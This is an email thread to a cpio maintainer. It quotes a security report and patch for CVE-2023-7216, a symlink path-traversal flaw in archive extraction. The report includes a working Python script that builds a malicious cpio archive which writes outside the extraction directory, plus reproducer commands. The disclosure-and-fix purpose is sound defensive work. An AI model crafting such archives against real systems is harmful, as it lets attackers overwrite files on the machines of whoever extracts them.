Hi Sergey,

Have you had the time to review this issue? Please let me know, would
appreciate an update.

Regards

On Wed, May 27, 2026 at 2:57 PM Sujal Tuladhar <[email protected]>
wrote:

> Hello Sergey,
>
> Sending a small patch for CVE-2023-7216 (path traversal via through-symlink
> extraction). The CVE has been on NVD since 2023 but the fix has not landed
> upstream; Red Hat carries a distro-only mitigation.
>
> At HEAD (3cd5140), `copyin_link` in `src/copyin.c:791-815` calls
> `UMASKED_SYMLINK` directly whenever `--no-absolute-filenames` is not in
> effect. The mitigation primitive `symlink_placeholder` /
> `replace_symlink_placeholders` already exists in the same file but is only
> reachable through the `no_abs_paths_flag` branch. Removing the gate so the
> placeholder path is always taken closes the CVE without any new code.
>
> The placeholder approach is already known to be correct under
> attacker-controlled inputs:
>
> - `symlink_placeholder` at `src/copyin.c:663-712` creates a
> zero-permission regular file at the entry's path.
> - `replace_symlink_placeholders` at `src/copyin.c:714-764` walks the
> deferred table at the end of `process_copy_in` and atomically swaps
> each placeholder for the real symlink (also applying mode/uid/gid/
> mtime). It guards against substitution via `lstat` + `st_dev/st_ino`
> comparison before unlinking the placeholder.
>
> Because the placeholder is a regular file while extraction is in progress,
> any later archive entry whose path traverses it (e.g. "outside/passwd"
> where "outside" was a symlink entry earlier in the archive) sees ENOTDIR
> on the parent component and the malicious write is refused. After
> extraction completes, the placeholder is replaced with the genuine
> symlink, so the on-disk result for benign archives is identical.
>
>
> Reproducer (against an unpatched build of HEAD)
> -----------------------------------------------
>
> $ python3 build-poc.py # generates evil.cpio
> $ mkdir -p /tmp/victim /tmp/sandbox
> $ echo "ORIGINAL" > /tmp/victim/secret.txt
> $ ( cd /tmp/sandbox && /path/to/built/cpio -id < evil.cpio )
> $ cat /tmp/victim/secret.txt
> PWNED-VIA-SYMLINK-TRAVERSAL
>
> The minimal generator script is attached at the end of this email for
> convenience.
>
> After applying the patch, the same command sequence yields:
> $ cat /tmp/victim/secret.txt
> ORIGINAL
>
>
> Patch
> -----
>
> Attached as
> `0001-copyin-always-materialise-symlinks-via-placeholder-C.patch`
> generated with `git format-patch [email protected]`. Inline copy
> below for archive-grep convenience:
>
>
> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>
> From b80530f7f4285c9ebb600106642cbb8594dfb61d Mon Sep 17 00:00:00 2001
> From: evilgensec <[email protected]>
> Date: Wed, 27 May 2026 14:52:09 +0545
> Subject: [PATCH] copyin: always materialise symlinks via placeholder
> (CVE-2023-7216)
>
> Before this change, copyin_link() created the symbolic link
> immediately via UMASKED_SYMLINK whenever --no-absolute-filenames was
> not in effect. An archive containing a symlink entry followed by
> another entry inside that symlink (e.g. "outside -> /etc" then
> "outside/passwd") therefore caused the second entry to traverse the
> just-created symlink and write outside the extraction tree, exactly
> the pattern documented as CVE-2023-7216.
>
> The deferred-creation primitive symlink_placeholder() / replace_symlink
> _placeholders() already exists in the file and is correct under
> attacker-controlled inputs: it lays down a zero-permission regular
> file at extraction time and only swaps it for the real symbolic link
> at the end of process_copy_in, after all archive entries have been
> written. No subsequent entry can be redirected through the symlink
> because at the moment its path is opened, the placeholder file is
> still a regular file and open(2) on "outside/anything" fails with
> ENOTDIR.
>
> Remove the no_abs_paths_flag gate around the placeholder branch so
> the safe path is always taken. The deferred replacement already
> applies the requested mode, owner and timestamp, so behaviour for
> benign archives is unchanged.
>
> * src/copyin.c (copyin_link): drop the immediate-UMASKED_SYMLINK
> branch and the unused res variable.
>
> CVE: CVE-2023-7216
> ---
> src/copyin.c | 32 ++++++--------------------------
> 1 file changed, 6 insertions(+), 26 deletions(-)
>
> diff --git a/src/copyin.c b/src/copyin.c
> index 7ed9474..e43c11c 100644
> --- a/src/copyin.c
> +++ b/src/copyin.c
> @@ -767,7 +767,6 @@ static void
> copyin_link (struct cpio_file_stat *file_hdr, int in_file_des)
> {
> char *link_name = NULL; /* Name of hard and symbolic links. */
> - int res; /* Result of various function calls. */
>
> if (archive_format != arf_tar && archive_format != arf_ustar)
> {
> @@ -788,31 +787,12 @@ copyin_link (struct cpio_file_stat *file_hdr, int
> in_file_des)
> link_name = xstrdup (file_hdr->c_tar_linkname);
> }
>
> - if (no_abs_paths_flag)
> - symlink_placeholder (link_name, file_hdr->c_name, file_hdr);
> - else
> - {
> - res = UMASKED_SYMLINK (link_name, file_hdr->c_name,
> - file_hdr->c_mode);
> - if (res < 0 && create_dir_flag)
> - {
> - create_all_directories (file_hdr->c_name);
> - res = UMASKED_SYMLINK (link_name, file_hdr->c_name, file_hdr->c_mode);
> - }
> - if (res < 0)
> - symlink_error (link_name, file_hdr->c_name);
> - else if (!no_chown_flag)
> - {
> - uid_t uid = set_owner_flag ? set_owner : file_hdr->c_uid;
> - gid_t gid = set_group_flag ? set_group : file_hdr->c_gid;
> - if (lchown (file_hdr->c_name, uid, gid) < 0 && errno != EPERM)
> - chown_error_details (file_hdr->c_name, uid, gid);
> - }
> -
> - if (retain_time_flag)
> - set_file_times (-1, file_hdr->c_name, file_hdr->c_mtime,
> - file_hdr->c_mtime, AT_SYMLINK_NOFOLLOW);
> - }
> + /* Always create symbolic links through symlink_placeholder so that
> + later archive entries cannot be redirected by a freshly-extracted
> + symlink (CVE-2023-7216). The real symlink is materialised at the
> + end of extraction by replace_symlink_placeholders, which also
> + applies the requested mode, owner and timestamp. */
> + symlink_placeholder (link_name, file_hdr->c_name, file_hdr);
> free (link_name);
> }
>
> --
> 2.50.1
>
>
> <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
>
>
> Reproducer script (build-poc.py)
> --------------------------------
>
> #!/usr/bin/env python3
> def newc_entry(name, mode, content, ino=0, mtime=1700000000):
> if isinstance(content, str):
> content = content.encode()
> name_bytes = (name + '\0').encode()
> namesize = len(name_bytes)
> filesize = len(content)
> header = b'070701' + b''.join(b'%08x' % v for v in (
> ino, mode, 0, 0, 1, mtime, filesize, 0, 1, 0, 0, namesize, 0))
> entry = header + name_bytes
> entry += b'\0' * ((-len(entry)) & 3)
> entry += content
> entry += b'\0' * ((-len(content)) & 3)
> return entry
>
> S_IFLNK = 0o120000
> S_IFREG = 0o100000
>
> archive = newc_entry('outside', S_IFLNK | 0o777, b'/tmp/victim', ino=2)
> archive += newc_entry('outside/secret.txt', S_IFREG | 0o644,
> b'PWNED-VIA-SYMLINK-TRAVERSAL\n', ino=3)
> archive += newc_entry('TRAILER!!!', 0, b'', ino=0)
> open('evil.cpio', 'wb').write(archive)
>
>
> Notes
> -----
>
> I did not run autotools locally (macOS, missing gettext); the change is
> strictly to `src/copyin.c` and `git apply` against HEAD applies cleanly.
> Happy to attach a full v2 with autotools regeneration if helpful.
>
> If credit is offered on a future ChangeLog or release announcement,
> please credit as "evilgensec".
>
> Best,
> evilgensec
>

Reply via email to